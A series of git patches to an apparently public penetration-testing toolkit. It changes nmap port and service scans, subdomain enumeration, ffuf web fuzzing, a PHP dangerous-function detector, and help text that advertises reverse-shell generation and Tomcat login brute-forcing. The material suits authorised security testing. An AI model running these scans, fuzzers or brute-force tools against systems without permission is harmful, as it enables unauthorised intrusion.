"$BLUE------------------------------------------------------------------------------------------------------" @@ -86,10 +86,10 @@ interactive() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" - echo -e "\t\t -> search all open ports..." - ports=$(nmap --top-ports "$2" $1 -v | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> search open ports..." + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -v -n "$1" -oN ./"$1".log -oX ./"$1".xml + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml echo -e "[+] Done!" } @@ -98,7 +98,7 @@ full_nmap_scan() { quick_nmap_scan() { echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" echo -e "\t\t -> search top $2 open ports..." - nmap -v --top-ports $2 $1 + nmap --top-ports $2 $1 echo -e "[+] Done!" } @@ -451,7 +451,7 @@ php8() { cmd=$1 clear -echo "$__logo" +# echo "$__logo" case "$cmd" in php7) php7 From b6b2c2b70b137f220def9505ecad454ef9850c52 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 14 Jul 2021 09:36:07 +0100 Subject: [PATCH 013/289] [s0mbra,denumerator] Changes --- denumerator/denumerator.py | 2 +- s0mbra.sh | 32 ++++++++++++++++++++++++-------- 2 files changed, 25 insertions(+), 9 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index f32c086..5e6c4f0 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -307,7 +307,7 @@ def main(): parser.add_argument( "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( - "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' ) parser.add_argument( "-n", "--nmap", help="use nmap for port scanning (slows down the whole eenumeration A LOT, so be warned!)", default=100 diff --git a/s0mbra.sh b/s0mbra.sh index 72ffa26..58db3c6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -85,20 +85,36 @@ interactive() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" - echo -e "\t\t -> search open ports..." - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." - nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + if [[ -z "$2" ]]; then + echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" + echo -e "\t\t -> search open ports..." + ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + else + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e "\t\t -> search open ports..." + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "\t\t -> run version detection + nse scripts against $ports..." + nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml + fi + echo -e "[+] Done!" } # runs --top-ports $2 against IP quick_nmap_scan() { - echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" - echo -e "\t\t -> search top $2 open ports..." - nmap --top-ports $2 $1 + if [[ -z "$2" ]]; then + echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CLR" + echo -e "\t\t -> search open ports..." + nmap -p- $1 + else + echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" + echo -e "\t\t -> search top $2 open ports..." + nmap --top-ports $2 $1 + fi + echo -e "[+] Done!" } From 7555a0aaf43f0060761634c3d73c179e769b7087 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 27 Jul 2021 21:42:02 +0100 Subject: [PATCH 014/289] [s0mbra: pwn mode; others: refactoring; bugfixes] --- enumeratescope.sh | 12 ------------ pef/pef.py | 15 +++++++-------- s0mbra.sh | 49 ++++++++++++----------------------------------- 3 files changed, 19 insertions(+), 57 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index af4550b..a6d9aec 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -55,14 +55,6 @@ run_denumerator() { } -## performs nmap scan -run_virustotal_enum() { - echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log - # run virustotal.py reverse domain search - virustotal --cidr $CIDR --output domains/virustotal.domains - echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log -} - ## ----------------------------------------------------------------------------- @@ -80,10 +72,6 @@ echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log # enusre that domains/ folder exists, if not create one create_domains_folder -if [[ -n $CIDR ]]; then - run_virustotal_enum -fi - cat $DOMAINS | while read DOMAIN do enumerate_domain $DOMAIN diff --git a/pef/pef.py b/pef/pef.py index 3873456..21c68fb 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -108,7 +108,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, verbose) return total - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity={}, verbose=False): + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity=None, verbose=False): """ prints formatted code line """ @@ -222,9 +222,7 @@ def main(self, src): total = self.analyse_line(l, i, refl, f, line, prev_line, next_line, prev_prev_line, next_next_line, verbose, total) - if total < 1: - pass - else: + if total > 0: print(beautyConsole.getColor("red") + "Found %d interesting entries\n" % (total) + beautyConsole.getSpecialChar("endline")) @@ -257,11 +255,13 @@ def run(self): else: print(" No interesting entries found :( \n") - print("{}==> {}:\t {}".format( + SUMMARY = "{}==> {}:\t {}" + + print(SUMMARY.format( beautyConsole.getColor("red"), "HIGH", self.severity.get("high"))) - print("{}==> {}:\t {}".format(beautyConsole.getColor( + print(SUMMARY.format(beautyConsole.getColor( "yellow"), "MEDIUM", self.severity.get("medium"))) - print("{}==> {}:\t {}".format(beautyConsole.getColor( + print(SUMMARY.format(beautyConsole.getColor( "green"), "LOW", self.severity.get("low"))) print("\n") @@ -304,7 +304,6 @@ def run(self): engine.run() except UnicodeDecodeError as e: print("UnicodeDecodeError in {}: {}".format(filename, e)) - pass except FileNotFoundError as e: print("Requested file not found, check the path :)") except IsADirectoryError as e: diff --git a/s0mbra.sh b/s0mbra.sh index 58db3c6..217bc02 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -56,33 +56,6 @@ set_ip() { export IP="$1" } -interactive() { - clear - trap '' SIGINT SIGQUIT SIGTSTP - set_ip "$1" - local choice - # echo "$__logo" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - echo -e "Interactive mode\tTarget: $GREEN$IP$CLR" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - echo -e "$YELLOW[1]$CLR\t\t $GRAY-> run full nmap scan + -sV -sC on open port(s)$CLR" - echo -e "$YELLOW[2]$CLR\t\t $GRAY-> run SMB enumeration (if port 445 is open)$CLR" - echo -e "$YELLOW[3]$CLR\t\t $GRAY-> run nfs scan (port 2049 open)$CLR" - echo -e "$YELLOW[4]$CLR\t\t $GRAY-> run nikto against HTTP server on port 80 with default plugins$CLR" - echo -e "" - echo -e "$YELLOW[0]$CLR\t\t $GRAY-> Quit" - echo -e "$BLUE------------------------------------------------------------------------------------------------------" - read -p ">> " choice - case $choice in - 1) full_nmap_scan "$IP" ;; - 2) smb_enum "$IP" ;; - 3) nfs_enum "$IP" ;; - 4) nikto -host "$IP" -Plugins tests ;; - 0) exit ;; - *) interactive "$IP" - esac -} - # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then @@ -406,8 +379,8 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200 and 500...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,500 + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200 } generate_shells() { @@ -464,11 +437,17 @@ php8() { echo -e "$CLR" } +pwn() { + echo -e "$BLUE[+] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" +} cmd=$1 clear # echo "$__logo" case "$cmd" in + pwn) + pwn "$2" + ;; php7) php7 ;; @@ -553,17 +532,13 @@ case "$cmd" in generate_shells) generate_shells "$2" "$3" ;; - interactive) - interactive "$2" - ;; *) clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}" - echo -e "\t s0mbra.sh interactive {IP} (interactive mode)$CLR" # interactive\t\t -> TBD - echo -e "\n$BLUE:: COMMANDS IN INTERACTIVE MODE ::$CLR" - echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" + echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" + echo -e "$BLUE:: PWN ::$CLR" + echo -e "\tpwn [DOMAIN]\t\t\t\t\t -> runs automated recon + pwning on DOMAIN" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" @@ -573,7 +548,7 @@ case "$cmd" in echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\thttp [PORT]\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" From b66c1aa002fd714a72c88d65fa84870fa901bdf4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 12 Aug 2021 00:31:02 +0100 Subject: [PATCH 015/289] [s0mbra, denumerator] some minor changes --- enumeratescope.sh | 14 ++++++++++---- nodestructor/nodestructor.py | 10 +++++----- s0mbra.sh | 4 +--- 3 files changed, 16 insertions(+), 12 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index a6d9aec..30b9f57 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -21,9 +21,10 @@ enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister - # amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder + amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then + if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN fi @@ -58,11 +59,16 @@ run_denumerator() { ## ----------------------------------------------------------------------------- -# list of domains - text file, one domain in single line +# list of domains - text file, one domain per line DOMAINS=$1 # output directory for denumerator -OUTPUT_DIR=$2 +if [ -z $2 ]; then + OUTPUT_DIR="report" +else + OUTPUT_DIR=$2 +fi + # IP address range CIDR=$3 diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index a59d428..18464d0 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -34,11 +34,11 @@ example usages: $ ./nodestructor filename.js - $ ./nodestructor -R ./dirname - $ ./nodestructor -R ./dirname --skip-node-modules --skip-test-files - $ ./nodestructor -R ./node_modules --exclude=babel,lodash,ansi - $ ./nodestructor -R ./node_modules --include=body-parser,chalk,commander - $ ./nodestructor -R ./node_modules --pattern="obj.dangerousFn\(" + $ ./nodestructor -r ./dirname + $ ./nodestructor -r ./dirname --skip-node-modules --skip-test-files + $ ./nodestructor -r ./node_modules --exclude=babel,lodash,ansi + $ ./nodestructor -r ./node_modules --include=body-parser,chalk,commander + $ ./nodestructor -r ./node_modules --pattern="obj.dangerousFn\(" """ nodejs_patterns = [ diff --git a/s0mbra.sh b/s0mbra.sh index 217bc02..25cc747 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -352,7 +352,7 @@ jadx() { apk() { clear echo -e "$BLUE[+] OK, let's see this APK...$CLR" - unzip $1 + unzip -d unzipped $1 if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" apktool d $1 @@ -537,8 +537,6 @@ case "$cmd" in echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" - echo -e "$BLUE:: PWN ::$CLR" - echo -e "\tpwn [DOMAIN]\t\t\t\t\t -> runs automated recon + pwning on DOMAIN" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" From c0801a776a9420a9f5560492982d5dd6abb1c21e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 12 Aug 2021 14:29:29 +0100 Subject: [PATCH 016/289] [enumeratescope, s0mbra] small adjustments --- enumeratescope.sh | 10 +++++----- s0mbra.sh | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 30b9f57..1b4134a 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all @@ -40,9 +40,9 @@ create_list_of_domains() { cat domains/*.* > domains/domains.all sort -u -k 1 domains/domains.all > domains/__domains # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/__domains.final + sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/final rm -f domains/domains.all - echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log + echo -e "$(date) ... Done! $(cat domains/final|wc -l) unique domains gathered \o/" >> subdomain_enum.log } @@ -50,7 +50,7 @@ create_list_of_domains() { run_denumerator() { echo $1 echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 --dir $1 --output __$1.log + denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log } @@ -85,7 +85,7 @@ done # concatenate and sort all domains from the target create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" +echo -e "\n[+} DONE. Found $(wc -l domains/final) unique subdomains" # run denumerator on the domains/domains.final output file run_denumerator $OUTPUT_DIR diff --git a/s0mbra.sh b/s0mbra.sh index 25cc747..b82e18b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -380,7 +380,7 @@ abe() { fu() { clear echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,422,500 } generate_shells() { From 8665970df33ec3533edd4237b046fa6f2e49965f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 13 Aug 2021 22:39:09 +0100 Subject: [PATCH 017/289] [s0mbra] remove / from before FUZZ for dictionaries were entries start from / --- enumeratescope.sh | 2 +- s0mbra.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 1b4134a..e22da00 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all diff --git a/s0mbra.sh b/s0mbra.sh index b82e18b..b12a9c5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -380,7 +380,7 @@ abe() { fu() { clear echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 } generate_shells() { From beb1e8f4692048243a57632a0d6365cae2266f2b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 18 Aug 2021 07:02:30 +0100 Subject: [PATCH 018/289] [s0mbra] fu, *_nmap_scan improvements --- s0mbra.sh | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index b12a9c5..3407b98 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -379,8 +379,19 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,422,500...$CLR" + if [[ -n $3 ]]; then + if [[ $3 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 + fi + else + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 + fi } generate_shells() { @@ -524,7 +535,7 @@ case "$cmd" in s3 "$2" ;; fu) - fu "$2" "$3" + fu "$2" "$3" "$4" ;; s3go) s3go "$2" "$3" @@ -539,8 +550,8 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" - echo -e "\tquick_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\tquick_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\tfull_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" @@ -569,7 +580,7 @@ case "$cmd" in echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From deef1fb54e1b54fec099ff84e718fc273f761889 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 20 Aug 2021 22:19:37 +0100 Subject: [PATCH 019/289] [s0mbra,enumeratescope] some changes --- enumeratescope.sh | 2 +- s0mbra.sh | 7 ++----- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index e22da00..1b4134a 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all diff --git a/s0mbra.sh b/s0mbra.sh index 3407b98..3e15efb 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -60,15 +60,14 @@ set_ip() { full_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" - echo -e "\t\t -> search open ports..." ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e "\t\t -> search open ports..." ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi @@ -80,11 +79,9 @@ full_nmap_scan() { quick_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CLR" - echo -e "\t\t -> search open ports..." nmap -p- $1 else echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" - echo -e "\t\t -> search top $2 open ports..." nmap --top-ports $2 $1 fi From 73637d12123fb3043296f9fadd14538acfe52f3e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 31 Aug 2021 22:04:51 +0100 Subject: [PATCH 020/289] changes --- apache-tomcat-login-bruteforce.py | 1 - codestructor/codestructor.py | 13 ------------- nodestructor/nodestructor.py | 6 ++++++ 3 files changed, 6 insertions(+), 14 deletions(-) delete mode 100755 codestructor/codestructor.py diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py index 0f15823..b050d2e 100755 --- a/apache-tomcat-login-bruteforce.py +++ b/apache-tomcat-login-bruteforce.py @@ -102,7 +102,6 @@ 'demo:demo' ] - def brute(args): """ Iterate over login:password pairs from credentials array and send GET request to diff --git a/codestructor/codestructor.py b/codestructor/codestructor.py deleted file mode 100755 index 3e5b1d6..0000000 --- a/codestructor/codestructor.py +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env python3 -''' - CODEStructor.py - Static Code Analysis grep-like tool on steroids :) - - grep-like search for dangerous code patterns, sources and sinks - - search for secrets, hardcoded credentials, interesting strings like hashes etc. - - detailed, colorful output with configurable verbosity level - - based on my previous tools: nodestructor and pef - - @author bl4de - @github https://github.com/bl4de/security-tools -''' -import argparse - diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 18464d0..2daa19d 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -12,6 +12,12 @@ GitHub: bl4de | Twitter: @_bl4de | hackerone.com/bl4de bloorq@gmail.com """ + +""" +some ideas: +https://attacker-codeninja.github.io/2021-08-24-code-review-notes-from-bug-bounty-bootcamp/ + +""" import os import re import argparse From 0db27832aa4f4268d8e8fcd630e499e3c97df610 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 17 Sep 2021 00:03:50 +0100 Subject: [PATCH 021/289] [pef] Weird IndexError when pef reaches PHP parse_str() function --- denumerator/denumerator.py | 1 - pef/imports/pefdefs.py | 5 ++--- pef/imports/pefdocs.py | 22 ++++++++++++++-------- pef/pef.py | 2 ++ 4 files changed, 18 insertions(+), 12 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 5e6c4f0..9e5278d 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -25,7 +25,6 @@ """ import argparse -import sys import os import subprocess import time diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 5a7d8fd..3aa0375 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -7,6 +7,8 @@ "popen(", "pcntl_exec(", "eval(", + "arse_str(", # use arse_str(, because somehow, parse_str causes "IndexError: list index out of range" o_O + "parse_url(", "preg_replace(", "create_function(", "include(", @@ -17,7 +19,6 @@ "proc_open(", "pcntl_exec(", "extract(", - "parse_str(", "putenv(", "ini_set(", "mail(", @@ -102,7 +103,6 @@ "passthru(", "shell_exec(", "extract(", - "parse_str(", "putenv(", "unserialize(", "readfile(", @@ -116,7 +116,6 @@ "__sleep(", "__call(", "__callStatic(", - "filter_var(", "file_put_contents(" ] diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 856f40b..4423a84 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -23,6 +23,12 @@ "RCE", "high" ], + "parse_url()": [ + "parse_url — Parse a URL and return its components", + "parse_url(string $url, int $component = -1): mixed", + "SSRF, Filter Bypass", + "medium" + ], "parse_str()": [ "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", "parse_str ( string $encoded_string [, array &$result ] ) : void" @@ -407,13 +413,13 @@ "SSRF", "medium" ], - "__destruct()":[ + "__destruct()": [ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], - "__wakeup()":[ + "__wakeup()": [ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", "__wakeup ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", @@ -437,37 +443,37 @@ "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], - "filter_var()":[ + "filter_var()": [ "Filters a variable with a specified filter", "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", "Validation bypass (in certain conditions)", "low" ], - "file_put_contents()":[ + "file_put_contents()": [ "Write data to a file", "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", "medium" ], - "SELECT.*FROM":[ + 